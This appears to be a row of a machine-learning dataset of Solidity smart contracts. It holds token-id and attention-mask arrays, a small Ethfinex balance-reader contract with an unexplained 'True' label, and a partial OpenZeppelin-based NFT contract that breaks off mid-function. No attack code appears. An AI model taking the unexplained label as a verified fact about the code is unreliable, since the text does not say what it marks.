1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity 0.4.25; // Ethfinex 2018 contract WrapperInterface { function balanceOf(address who) public view returns (uint256); function depositLock(address who) public view returns (uint256); } contract BalanceReader { function allBalances(address[] _tokens, address _who) public view returns (uint256[] balances, uint256[] locks) { balances = new uint256[](_tokens.length); locks = new uint256[](_tokens.length); for (uint i = 0; i < _tokens.length; i++) { balances[i] = WrapperInterface(_tokens[i]).balanceOf(_who); locks[i] = WrapperInterface(_tokens[i]).depositLock(_who); } } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2423, 1025, 1013, 1013, 3802, 2232, 23460, 2595, 2760, 3206, 10236, 4842, 18447, 2121, 12172, 1063, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 12816, 7878, 1006, 4769, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1065, 3206, 5703, 16416, 4063, 1063, 3853, 2035, 26657, 2015, 1006, 4769, 1031, 1033, 1035, 19204, 2015, 1010, 4769, 1035, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1031, 1033, 5703, 2015, 1010, 21318, 3372, 17788, 2575, 1031, 1033, 11223, 1007, 1063, 5703, 2015, 1027, 2047, 21318, 3372, 17788, 2575, 1031, 1033, 1006, 1035, 19204, 2015, 1012, 3091, 1007, 1025, 11223, 1027, 2047, 21318, 3372, 17788, 2575, 1031, 1033, 1006, 1035, 19204, 2015, 1012, 3091, 1007, 1025, 2005, 1006, 21318, 3372, 1045, 1027, 1014, 1025, 1045, 1026, 1035, 19204, 2015, 1012, 3091, 1025, 1045, 1009, 1009, 1007, 1063, 5703, 2015, 1031, 1045, 1033, 1027, 10236, 4842, 18447, 2121, 12172, 1006, 1035, 19204, 2015, 1031, 1045, 1033, 1007, 1012, 5703, 11253, 1006, 1035, 2040, 1007, 1025, 11223, 1031, 1045, 1033, 1027, 10236, 4842, 18447, 2121, 12172, 1006, 1035, 19204, 2015, 1031, 1045, 1033, 1007, 1012, 12816, 7878, 1006, 1035, 2040, 1007, 1025, 1065, 1065, 1065, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
/** Submitted for verification at Etherscan.io on 2021-12-13 / // SPDX-License-Identifier: MIT LICENSE /* _ _ __ __ _ _ /\_\ /\_\ \ \ / / /\_\ /\_\ / / / / / / \ \ / / / / / / / / / / / / / / \ \ / / / / / / / / / / /__/ / / \ \ / / / / /__/ / / / /\_____/ / \ \ / / / /\_____/ / / /\_______/ \ \ / / / /\_______/ / / /\ \ \ \ \ / / / / /\ \ \ / / / \ \ \ \ \ / / / / / \ \ \ / / / \ \ \ \ \/ / / / / \ \ \ /_/_/ \_\_\ \__/ /_/_/ \_\_\ / pragma solidity ^0.8.0; //context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; //ownerable /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _setOwner(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; //pausable /* * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. / abstract contract Pausable is Context { /* * @dev Emitted when the pause is triggered by `account`. / event Paused(address account); /* * @dev Emitted when the pause is lifted by `account`. / event Unpaused(address account); bool private _paused; /* * @dev Initializes the contract in unpaused state. / constructor() { _paused = false; } /* * @dev Returns true if the contract is paused, and false otherwise. / function paused() public view virtual returns (bool) { return _paused; } /* * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. / modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /* * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. / modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /* * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. / function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /* * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. / function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // address pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // IERC165 pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; //ERC165 /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // IERC721 pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } //ERC721 pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit 